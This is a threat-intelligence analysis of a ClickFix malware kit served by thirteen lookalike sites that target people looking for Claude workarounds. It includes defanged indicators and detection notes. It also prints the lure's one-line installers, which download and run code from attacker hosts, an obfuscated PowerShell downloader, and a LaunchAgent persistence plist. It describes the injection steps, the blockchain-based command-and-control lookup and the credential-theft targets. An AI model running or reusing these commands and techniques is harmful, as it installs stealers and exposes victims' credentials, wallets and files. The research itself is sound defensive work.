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post 13 2026-11-17 clickfix | macos | windows 13 sites

Inside a ClickFix kit built for Claude users

ClickFix | macOS | Windows | EtherHiding 14 min read

Thirteen websites promise "stable Claude sessions". They run the same kit and hand out the same one-line installer. On Windows it ends with a stealer injected into a Microsoft process. On macOS it installs a backdoor that asks for the login password and reads its server address from a smart contract on the Polygon blockchain.

The kit was found during a hunt for lookalike domains aimed at tech workers. This post is the full analysis. Every stage was recovered by downloading and reading it. Nothing was executed.

What the kit is

The genuine Claude Code product page on claude.com. Cream background, serif heading Claude Code, a black Download for Windows button and a product screenshot. real: claude.com
The lure page at claudeprotect.com. Cream background, the label The Independent Claude Toolkit, the heading One command. Stable Claude sessions., an Installation box with Windows, macOS and Linux tabs, a command starting with IRM gitlab.com/dsy648ajd6ff and a Copy button, and a fake PowerShell terminal. lure: claudeprotect[.]com
Figure 1: same palette. The real page offers a download, the lure a command to paste

The page does not clone Claude. It sells a tool around it: proxy routing, device fingerprint spoofing and a "WhitePersona verification bypass" for accounts asked to prove their identity. The visitor arrives on purpose, looking for a workaround, and expects to run something.

The page detects the operating system and fills a command box. The Copy button gives one of two lines:

powershell | Windows
IRM gitlab.com/dsy648ajd6ff/01a1e287-8de7-700c-802a-969604d519c9/-/raw/main/01a1e287-8de7-700c-802a-9696051416d5 | IEX
bash | macOS
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<8 random hex>.opticademichoacan.com/?ublib=<uuid>')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282

Linux visitors get "In development."

A broad operation aimed at tech workers

Dates, times and size

Timeline from 26 October to 17 November 2026 in four lanes. macOS C2: a Polygon contract deployed on 27 October, then five consecutive values: dhsbdgs, flocksro, ogxlhwb, zhxnmxcm and spcigud. Lure domains: five registered on 30 October, two on 31 October, six more with unpublished dates. Windows hosts: hazeldrift.cc registered on 9 November, GitLab project created on 16 November. macOS stage 1: sishi, then elpaladin, then opticademichoacan within 24 hours on 16 and 17 November.
Figure 2: the kit over three weeks

The operator keeps the lure domains and rotates what they point to. The lures were 3 weeks old on 17 November and blocked by none of Quad9, Cloudflare 1.1.1.2 or CleanBrowsing.

Pivoting on the kit

The hunt found one site, claudeprotect[.]com. Two things in it led to the other twelve.

Grid of twelve screenshots of the same page under twelve names: claudewall.tech, claudearmor.com, claudekeeper.cc, claudeshield.cloud, claudeguard.online, claudeshield.rest, claudelock.eu, claudesafe.chat, claudearmor.live, claudeguard.org, claudelock.live and claudesafe.life. Only the product name and the accent color change.
Figure 3: the twelve siblings found by pivoting

8 of the 13 never appeared in the registration feed used for the hunt. They were found only because the pattern was guessed. The sites come in pairs per word (claudearmor on .com and .live, claudeguard on .online and .org...), and both sites of a pair carry the same ublib value in the macOS command. That value looks like an affiliate or campaign id. It changes several times a day.

Investigation

The landing page

The site is static: seven JavaScript files, one per job. A comment in one of them reads Generated from config/downloads.json. Each site gets its own SITE_CONFIG with a name, a domain and a CLI name:

js | site-config.js
window.SITE_CONFIG = Object.freeze({
  "siteName": "ClaudeProtect",
  "domain": "claudeprotect.com",
  "siteUrl": "https://claudeprotect.com",
  "cliCommand": "claudeprotect"
});

The server injects the real commands into the HTML. They override everything else:

js | inline, served by the server
window.SERVER_INSTALL_COMMANDS = {
  "windows": "IRM gitlab.com/dsy648ajd6ff/.../01a1e287-8de7-700c-802a-9696051416d5 | IEX",
  "macos":   "/bin/bash -c \"$(curl -A 'Mac OS X 10_15_7' -fsSL '${usr_id}.opticademichoacan.com/?ublib=...')\"; echo \"\"BotGuard: ..."
};
window.LINUX_INSTALL_MESSAGE = "In development.";

The kit has a second module, switched off. "WhitePersona" asks the visitor to paste their identity verification link from Persona (inquiry.withpersona.com). It decodes the session token in the browser and, once enabled, builds a command that sends the inquiry id and the session token to the operator's server. It is a ready feature for stealing identity verification sessions.

Who built it

Three parts, three origins.

The macOS keychain dumper is a build of the open-source HackBrowserData. Its Go build paths point to a home folder named xia. That is the only personal trace in the samples. No actor is attributed here.

How it is deployed

Dot plot on a logarithmic time axis showing the age of each component of the chain when it was found on 16 November 2026. The macOS payload host sishi.store was 360 days old. The lure page claudeprotect.com was 17 days old. The Windows stage 2 host hazeldrift.cc was 7 days old. The GitLab project serving the Windows stage 1 script was 12 hours old.
Figure 4: age of each component on 16 November, log scale

A rule based on domain age catches the lure and the Windows hosts. It misses the macOS hosts, which are old or reused.

Windows: five stages to a fake Realtek service

Stage 1, GitLab, 586 KB. 330 lines of PowerShell, almost all of it arithmetic that evaluates to constants. Three lines matter:

powershell | stage 1
$i9tgDH = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('aHR0cHM6Ly8=')) +
          (-join @(0..13 | % { @('t','43ef','haze','5-7f4','17e','ad','ce.','0-6','-b','71ce','fe','ldrif','e27','01a1')
                               [@(13,12,3,9,8,5,7,10,1,4,6,2,11,0)[$_]] })) +
          '.cc/install.ps1'

$rhgDzV.Arguments   = '-NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) ' + $i9tgDH + ' | & (gcm i*x)"'
$rhgDzV.WindowStyle = 'Hidden'

A hidden powershell.exe downloads https://01a1e275-7f471ce-bad0-6fe43ef17ece.hazeldrift[.]cc/install.ps1 and runs it. The cmdlets are called through wildcards, so Invoke-RestMethod and Invoke-Expression never appear.

Stage 2, hazeldrift[.]cc, 6.2 MB. One 1.9 MB line holds a byte array. Decoded, it gives 427,849 bytes under a repeating 24-byte XOR key:

xor key
AMSI_RESULT_NOT_DETECTED

That is the value Windows' Antimalware Scan Interface returns for a clean scan. It is also a good detection string.

Stage 3, the injector, 332 lines.

  1. Decodes the payload from a 406,838-character string with a custom base85 alphabet.
  2. Walks the export table of kernel32.dll in memory and finds seven functions by the FNV-1a hash of their name.
  3. Builds the native calls with Reflection.Emit in a dynamic assembly named RuntimeHost. No Add-Type, no compiler process.
  4. Starts MicrosoftEdgeUpdate.exe suspended, or the 32-bit rundll32.exe if it is missing.
  5. Writes the payload into it, queues it on the main thread, waits 0.5 to 2 seconds and resumes. This is Early Bird APC injection.
FNV-1a Function Use
1249643017CreateProcessAstart the host suspended
2931164316VirtualAllocExallocate executable memory
3221786346WriteProcessMemorycopy the shellcode
2299245819QueueUserAPCschedule it on the main thread
3139559470ResumeThreadrun
4165922393TerminateProcesscleanup on failure
4206493797CloseHandlecleanup

Stage 4, the shellcode, 325,470 bytes. 32-bit position-independent code. It starts with a call over a data block, then a stub that:

  1. finds kernel32.dll through the PEB and resolves seven functions by a hash seeded with 0x6c6c6a62,
  2. reads a header: unpacked size 704,512, packed size 322,891, a 128-byte XOR key,
  3. copies the packed data, XORs it with the key, and decompresses it with aPLib.

The same three steps, done in Python, give a 704,512-byte Windows executable. The size matches the header to the byte.

Stage 5, the final module. A 32-bit executable that pretends to be RtkAudioService.exe, the Realtek HD Audio service:

Its C2 configuration is encrypted with something stronger than a single-byte XOR and was not recovered. The family is not identified. A machine that ran the Windows command should be treated as compromised.

macOS: a backdoor that reads the blockchain

Stage 1, 100 KB. The host returns osascript -e "$(echo "<base64>" | base64 -d)". Every string inside is a list of numbers decoded by a small function: subtract the first number, ignore values above 65535. Decoded, it writes a LaunchAgent and loads it:

plist | ~/Library/LaunchAgents/com.Apple.lqmsodpzdwevelft.plist
<key>Label</key>     <string>com.Apple.lqmsodpzdwevelft</string>
<key>KeepAlive</key> <true/>
<key>RunAtLoad</key> <true/>
<key>ProgramArguments</key>
  /bin/bash -c "echo '<base64>' | base64 -d | osascript"

The capital A in com.Apple is the tell. Real Apple agents use com.apple.

Stage 2, the agent. Same obfuscation, the key added instead of subtracted. It finds its server like this:

  1. download the list of public Polygon RPC endpoints from chainlist.org,
  2. call getServerURL() (selector 0x2686ecea) on contract 0x3445fB8Df432320251f611e691fe6B0C6664C960,
  3. decode the returned string, today spcigud[.]top,
  4. POST txid=5573eeb21cc8190cc1f67ae59b8a8663&bmodule to it and pipe the answer into osascript.

The traffic goes to legitimate blockchain endpoints. Nothing points to the operator until the last step.

Stage 3, bmodule, the backdoor. Re-obfuscated on every download, so its hash is useless. It:

smodule, the full stealer, 124 KB. Chrome, Brave, Edge, Opera and Firefox profiles, Safari cookies, 193 browser extension ids (wallets and password managers), desktop wallets, the login keychain, Apple Notes, Telegram, and files from Desktop and Documents. Zipped in /tmp and posted to /upload.php, with 62.60.226.50 as fallback.

lmodule, the light stealer, 134 KB. It downloads a native helper, /es-arm or /es-x86, removes the quarantine flag, signs it ad hoc and runs dumpkeys --keychain-pw with the phished password. The helper is HackBrowserData with its keychainbreaker module, so the keychain is decrypted with the user's own password. The module also takes files under 0.5 MB from Desktop, Documents and Downloads with these extensions: txt json dat md cfg env wallet pdf ini, up to 10 MB. On a developer's Mac that is where .env files and exported keys live.

Detection points

What to do

Indicators of compromise

The macOS modules are regenerated on every download, so they have no stable hash.

Type Value Note
Domain claudeprotect[.]com, claudewall[.]tech, claudearmor[.]com, claudearmor[.]live, claudekeeper[.]cc, claudeshield[.]cloud, claudeshield[.]rest, claudeguard[.]online, claudeguard[.]org, claudelock[.]eu, claudelock[.]live, claudesafe[.]chat, claudesafe[.]life Lure sites
URL gitlab[.]com/dsy648ajd6ff/* Windows stage 1, GitLab user id 44456760
Domain *.hazeldrift[.]cc Windows stage 2, /install.ps1
Domain *.opticademichoacan[.]com, *.elpaladin[.]net, *.sishi[.]store macOS stage 1 hosts
Contract 0x3445fB8Df432320251f611e691fe6B0C6664C960 (Polygon) macOS C2 resolver, deployed 2026-10-27
Wallet 0x520b6bfa0e9b94ff2f2ba13b30387d8306d5922a Deployed the contract, signed C2 updates
Domain spcigud[.]top, zhxnmxcm[.]lol, ogxlhwb[.]xyz, flocksro[.]xyz, dhsbdgs[.]icu macOS C2, newest first
IP 62.60.226.50 macOS exfiltration fallback
String 5573eeb21cc8190cc1f67ae59b8a8663 macOS campaign txid
String AMSI_RESULT_NOT_DETECTED XOR key, Windows stage 2
SHA-256 2092d12e81500f977eeb4c2c850a7fc76cfc17a61979d4708531c0a17c31d77a Windows stage 1, unchanged 16 to 17 November
SHA-256 8a01bfe906fe336b3572c5143d8725e0a96934a73bfa87b6abd009a1aada8954 Windows stage 2
SHA-256 6dcb8d5911b901814b65af603001ffeca975c3881ed92f43d0f8376b980d3b24 Windows stage 3, injector
SHA-256 f8c1b12969edcd2c1678c3a9e5bec7b9cf535b2dd4cc0ea33d561b6496b96906 Windows stage 4, shellcode
SHA-256 2bcf2da818dd02e98d41c0083f256e01a8ff547b8a68b8496681a6f652e964bf Windows stage 5, fake RtkAudioService.exe, in memory only
SHA-256 7251c53200d024c742d7c7b999d339f4090f9624016c19e5468e83a876ae2afd es-arm, keychain dumper
SHA-256 e146b8bd3e6d4b345317b6f02b9b474c3ae2051086204b8d8ac51874012c001b es-x86, keychain dumper